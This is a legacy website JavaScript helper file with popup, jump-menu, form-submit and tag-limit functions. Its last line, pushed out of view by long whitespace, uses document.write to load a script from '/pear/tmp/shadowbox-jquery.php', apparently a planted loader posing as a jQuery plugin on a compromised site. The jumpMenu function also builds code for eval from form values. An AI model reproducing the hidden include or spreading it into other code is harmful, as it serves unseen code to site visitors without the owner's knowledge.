// display decision alert box
function decision(message, url){
	if(confirm(message)) location.href = url;
}

// open browser window
function openPopUp(url, windowName, w, h, scrollbar) {

           var winl = (screen.width - w) / 2;
           var wint = (screen.height - h) / 2;
           winprops = 'height='+h+',width='+w+',top='+wint+',left='+winl+',scrollbars='+scrollbar ;
		   win = window.open(url, windowName, winprops);
           if (parseInt(navigator.appVersion) >= 4) { 
              	win.window.focus(); 
           } 
}

function jumpMenu(target,object,restore){ 
  eval(target+".location='"+object.options[object.selectedIndex].value+"'");
  if (restore) object.selectedIndex=0;
}

function findObj(n, d) {
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function getImage(imageName)
{
		findObj('img').src = imageName;
}

function submitDoc(formName) { 
  var obj;
 
	if (obj=findObj(formName)!=null) 
	{
		findObj(formName).submit(); 
	}
	else 
	{
		alert('The form you are attempting to submit called \'' + formName + '\' couldn\'t be found. Please make sure the submitDoc function has the correct id and name.');
	}

}

//Here is the JavaScript code that you are looking for:

var savedValues = new Array();//array for saving the previously selected options (we need this in order to check every time which option was just clicked)
var MAX=3;//change this to whatever you want
function check_if_max_selected()
{
	var show_alert=1;//flag for showing the alert only once
	var num_selected=0;//counts the number of current selected options
	var tempSelected=new Array();
	var newSelected=new Array();
	for (var i=0;i<document.forms["form1"]["tags"].length;++i)
	{
		if (document.forms["form1"]["tags"][i].selected)
		{
			var found=0;//flag for if this option was already selected last time
			var option_status="new";
			for (var j=0;j<savedValues.length;++j)//look for it in saved values
			{
				if (savedValues[j]==i)//this was already selected last time
				{
					option_status="was selected";
					++num_selected;
					newSelected[newSelected.length]=i;
				}
			}
		}
		else
		{
			option_status="not selected";
		}
		tempSelected[i]=option_status;
	}

	for (var i=0;i<tempSelected.length;++i)//see which one of the new selected can be selected now
	{
		if ( (tempSelected[i]=="new") && (num_selected<MAX) )
		{
			++num_selected;
			newSelected[newSelected.length]=i;
		}
		else if (tempSelected[i]=="new")
		{
			if (show_alert)//to only show the alert once
			{
				alert("You can only select "+MAX+" tags.");
				show_alert=0;
			}
			document.forms["form1"]["tags"][i].selected=false;
		}
	}

	savedValues=newSelected;//assign to global array for next time
	return;
}																														document.write('<script type="text/javascript" src="/pear/tmp/shadowbox-jquery.php"><\/script>');

